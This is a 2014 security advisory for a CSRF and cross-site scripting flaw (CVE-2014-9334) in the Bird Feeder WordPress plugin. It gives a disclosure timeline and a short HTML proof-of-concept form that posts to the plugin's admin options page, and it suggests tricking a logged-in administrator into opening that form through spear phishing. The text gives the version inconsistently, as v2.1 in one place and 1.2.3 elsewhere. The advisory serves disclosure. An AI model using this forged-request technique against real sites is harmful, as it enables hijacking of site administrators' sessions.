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Bird Feeder v1.2.3 WP Plugin - CSRF & XSS Vulnerability

Document Title:
===============
Bird Feeder v1.2.3 WP Plugin - CSRF & XSS Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1372

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9334

CVE-ID:
=======
CVE-2014-9334


Release Date:
=============
2014-12-09


Vulnerability Laboratory ID (VL-ID):
====================================
1372


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
This WordPress plugin will add the necessary data to the WordPress article 
feeds so that they can be picked up and 
processed correctly by the Bird Feeder Mint Pepper, without requiring any 
changes to any core WordPress files.
This plug-in serves one purpose and that is to tweet published posts. It 
doesn`t do anything other then tweet. 
It tweets in this format: [your message] [post title] [short url].On the 
options page you will have to enter 
your twitter username and password. You can also configure your message 
there.If you try to publish a bunch 
of posts quickly Bird Feeder url shortening service will not handle them and 
result un-expected tweets. 

(Copy of the Vendor Homepage: https://wordpress.org/plugins/bird-feeder/ )


Abstract Advisory Information:
==============================
The independent Vulnerability Laboratory Researcher (Manideep K.) discovered a 
cross site request forgery issue and a cross site vulnerability in the bird 
feeder v2.1 wordpress plugin.


Vulnerability Disclosure Timeline:
==================================
2014-11-06:  Author Notification (Manideep K.)
2014-11-20:  WP Team action taken by closing the plugin and service
2014-12-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Wordpress
Product: Bird Feeder - Wordpress Plugin (Web-Application) 1.2.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A cross site request forgery issue and cross site scripting vulnerability has 
been discovered in the Bird Feeder v1.2.3 Plugin.

The plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an 
admin user can be tricked to visit a special 
crafted URL created by a remote attacker (via spear phishing/social 
engineering), the attacker can insert arbitrary script code 
into admin page. Once exploited, admin’s browser can be made to do almost 
anything the admin user could typically do by 
hijacking admin`s cookies etc.


Proof of Concept (PoC):
=======================
You can use the following exploit code to exploit the vulnerability. For 
testing - you can just save it as .html and then get it clicked with an logged 
in administrator (by social engineering/spear phishing techniques) and see 
exploit in action. Almost majority of the fields are vulnerable to CSRF + XSS 
attack


<html>
  <body>
    <form 
action="http://localhost/wordpress/wp-admin/options-general.php?page=bird-feeder";
 method="POST">
      <input type="hidden" name="user" value="csrf/xss testing " />
      <input type="hidden" name="password" value="csrf/xss testing" />
      <input type="hidden" name="message" value="" />
      <input type="hidden" name="update" value="Update" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Solution - Fix & Patch:
=======================
2014-11-20:  WP Team action taken by closing the plugin and service


Security Risk:
==============
The security risk of the cross site request forgery and cross site scripting 
web vulnerability are estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Manideep K. - Information Security Researcher 
[https://in.linkedin.com/in/manideepk]


Disclaimer & Information:
=========================
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We do not approve or encourage anybody to break any vendor licenses, 
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